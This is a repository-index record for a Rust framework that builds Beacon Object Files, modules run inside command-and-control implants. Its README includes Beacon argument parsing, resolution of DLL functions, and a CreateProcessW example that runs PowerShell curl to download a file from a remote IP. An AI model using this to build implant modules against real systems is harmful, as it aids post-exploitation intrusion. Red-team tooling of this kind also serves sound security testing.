{"id":31747315,"url":"https://github.com/kickeddroid/loadstar","last_synced_at":"2025-10-09T13:29:37.883Z","repository":{"id":310872124,"uuid":"1041511198","full_name":"KickedDroid/loadstar","owner":"KickedDroid","description":"A different approach to writing BOFs in rust.","archived":false,"fork":false,"pushed_at":"2025-08-20T23:34:45.000Z","size":133,"stargazers_count":16,"open_issues_count":0,"forks_count":1,"subscribers_count":0,"default_branch":"master","last_synced_at":"2025-08-28T18:20:13.681Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/KickedDroid.png","metadata":{"files":{"readme":"README.MD","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-08-20T15:37:30.000Z","updated_at":"2025-08-24T09:59:48.000Z","dependencies_parsed_at":"2025-08-20T19:38:02.253Z","dependency_job_id":"c7502f66-c806-41ce-a4b7-1d8c49122f6c","html_url":"https://github.com/KickedDroid/loadstar","commit_stats":null,"previous_names":["kickeddroid/loadstar"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/KickedDroid/loadstar","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/KickedDroid%2Floadstar","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/KickedDroid%2Floadstar/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/KickedDroid%2Floadstar/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/KickedDroid%2Floadstar/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/KickedDroid","download_url":"https://codeload.github.com/KickedDroid/loadstar/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/KickedDroid%2Floadstar/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279001485,"owners_count":26083102,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-09T02:00:07.460Z","response_time":59,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-10-09T13:29:24.296Z","updated_at":"2025-10-09T13:29:37.878Z","avatar_url":"https://github.com/KickedDroid.png","language":"Rust","funding_links":[],"categories":[],"sub_categories":[],"readme":"A different approach to building BOFs in rust. Similar to `bof-oxide` but uses FFI to create wrapper fns.\n\n```rust\nuse core::ffi::{c_char, c_int, c_void};\nuse utils::output;\n\n#[unsafe(no_mangle)]\npub unsafe extern \"C\" fn rust_bof(args: *mut c_char, alen: c_int) {\n    output(\"HELOOOOOO\");\n}\n```\n\n## Building\n\nprerequisites `just`\n\n```\ncargo install just\n```\n\n#### utils\n\nBuild with utils enabled allowing us to extract data passed to the coff along with `printf`. This is default.\n\n```bash\njust bof-utils\n```\nExample output\n\n```\nbof.o:     file format pe-x86-64\n\nSYMBOL TABLE:\n[  0](sec  1)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .text\nAUX scnlen 0x2a nreloc 3 nlnno 0 checksum 0xb8bb3a1e assoc 1 comdat 0\n[  2](sec  2)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .data\nAUX scnlen 0x0 nreloc 0 nlnno 0 checksum 0x0 assoc 2 comdat 0\n[  4](sec  6)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .xdata\nAUX scnlen 0x8 nreloc 0 nlnno 0 checksum 0xfc539d1 assoc 4 comdat 0\n[  6](sec  3)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .rdata\nAUX scnlen 0x9 nreloc 0 nlnno 0 checksum 0x8a0288e7 assoc 5 comdat 0\n[  8](sec  5)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .pdata\nAUX scnlen 0xc nreloc 3 nlnno 0 checksum 0x2a9379e3 assoc 7 comdat 0\n[ 10](sec  1)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 rust_bof\n[ 11](sec  1)(fl 0x00)(ty   20)(scl   2) (nx 1) 0x0000000000000030 go\nAUX tagndx 0 ttlsiz 0x0 lnnos 0 next 0\n[ 13](sec  1)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000054 starLoadLibraryA\n[ 14](sec  1)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000074 starGetProcAddress\n[ 15](sec  1)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x000000000000009f starOutput\n[ 16](sec  1)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x00000000000000d4 starPrintf\n[ 17](sec  1)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000108 starToWideChar\n[ 18](sec  1)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000030 .text\nAUX scnlen 0x10d nreloc 6 nlnno 0\n[ 20](sec  2)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .data\nAUX scnlen 0x0 nreloc 0 nlnno 0\n[ 22](sec  6)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000008 .xdata\nAUX scnlen 0x48 nreloc 0 nlnno 0\n[ 24](sec  5)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x000000000000000c .pdata\nAUX scnlen 0x48 nreloc 18 nlnno 0\n[ 26](sec  4)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .rdata$zzz\nAUX scnlen 0x1d nreloc 0 nlnno 0\n[ 28](sec  0)(fl 0x00)(ty    0)(scl   2) (nx 0) 0x0000000000000000 __imp_BeaconOutput\n[ 29](sec  0)(fl 0x00)(ty    0)(scl   2) (nx 0) 0x0000000000000000 __imp_toWideChar\n[ 30](sec  0)(fl 0x00)(ty    0)(scl   2) (nx 0) 0x0000000000000000 __imp_GetProcAddress\n[ 31](sec  0)(fl 0x00)(ty    0)(scl   2) (nx 0) 0x0000000000000000 __imp_BeaconPrintf\n[ 32](sec  0)(fl 0x00)(ty    0)(scl   2) (nx 0) 0x0000000000000000 __imp_LoadLibraryA\n```\n\n#### beacon_api\n\n```\njust bof-beacon_api\n```\n\nexample feature usage with argument passing\n\n```rust\nlet mut beacon = Beacon::new(args, alen);\nbeacon.format_alloc(256);\nlet ip = beacon.get_arg();\nprintf(b\"Ip: %s \\0\", ip);\nlet port = beacon.get_int();\n```\n\n#### alloc\n\nBuild with the alloc feature enabled.\n\n```bash\njust bof-alloc\n```\n\nAllows the use of `vec![]`\n\n#### all\n\nAll features enabled\n\n```\njust bof-all\n```\n\n---\n\n### Parse Arguments\n\n```rust\nlet mut beacon = Beacon::new(args, alen);\n    beacon.format_alloc(256);\n\n    let ip = beacon.get_arg();\n    if !ip.is_null() {\n        printf(\"Ip: %s \\0\", ip);\n        let port = beacon.get_int();\n        printf(\"Port: %d \\0\", port as *mut i8);\n    } else {\n        output(\"Usage: str:ip int:8080\");\n}\n```\n\n```\njust bof-beacon_api\n```\n\n\n### Load functions from DLLs\n\n```rust\nuse core::ffi::{c_char, c_int, c_void};\nuse utils::resolve_func;\nuse utils::{output, printf, GetProcAddress, LoadLibraryA};\n\ntype MessageBoxA = unsafe extern \"system\" fn(\n    hwnd: *mut c_void,\n    test: *mut u8,\n    caption: *mut u8,\n    style: u32,\n) -\u003e isize;\n\n#[unsafe(no_mangle)]\npub unsafe extern \"C\" fn rust_bof(args: *mut c_char, alen: c_int) {\n    let mut beacon = Beacon::new(args, alen);\n    beacon.format_alloc(256);\n\n    let some_func = resolve_func(\"user32.dll\\0\", \"MessageBoxA\\0\");\n    if !some_func.is_null() {\n        let msgbox: MessageBoxA = unsafe { core::mem::transmute(some_func) };\n\n        match (msgbox)(\n            core::ptr::null_mut(),\n            b\"Hello bruh\\0\".as_ptr() as *mut u8,\n            b\"Rusty BOF\\0\".as_ptr() as *mut u8,\n            1,\n        ) as i32\n        {\n            1 =\u003e output(\"you clicked ok\"),\n            2 =\u003e output(\"You clicked cancel\"),\n            _ =\u003e output(\"exited\"),\n        }\n    } else {\n        output(\"[!] Could not find func\");\n    }\n}\n```\n\n```\njust bof-utils\n```\n![image](https://github.com/KickedDroid/loadstar/blob/master/examples/Screenshot_2025-08-20_12-37-33.png?raw=true)\n\n### CreateProcessW\n\n```rust\nuse alloc::vec;\nuse bindings::output;\nuse bindings::{to_wide, CreateProcessW, WaitForSingleObject, PROCESS_INFORMATION, STARTUPINFO};\nuse core::alloc::Layout;\nuse core::ffi::{c_char, c_int};\n#[unsafe(no_mangle)]\npub unsafe extern \"C\" fn rust_bof(args: *mut c_char, _alen: c_int) {\n    let mut si = STARTUPINFO::default();\n    si.dwFlags = 0x1;\n    let mut pi = PROCESS_INFORMATION::default();\n\n    let mut dst_buffer = vec![0 as *mut u16; 100];\n\n    let cmd = \"powershell.exe -c curl -o hello.txt http://192.168.122.1:8000/wassssssup\";\n    if !to_wide(cmd, dst_buffer.as_ptr() as *mut u16) {\n        output(\"Could not parse to wide str\")\n    };\n    if (CreateProcessW)(\n        core::ptr::null(),\n        dst_buffer.as_ptr() as *mut u16,\n        core::ptr::null_mut(),\n        core::ptr::null_mut(),\n        0,\n        0,\n        core::ptr::null_mut(),\n        core::ptr::null(),\n        \u0026mut si,\n        \u0026mut pi,\n    ) == 0\n    {\n        output(\"SHIT\");\n    };\n\n    WaitForSingleObject(pi.hProcess, 0xFFFFFFFF);\n}\n```\n\n```\njust bof-alloc\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkickeddroid%2Floadstar","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fkickeddroid%2Floadstar","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkickeddroid%2Floadstar/lists"}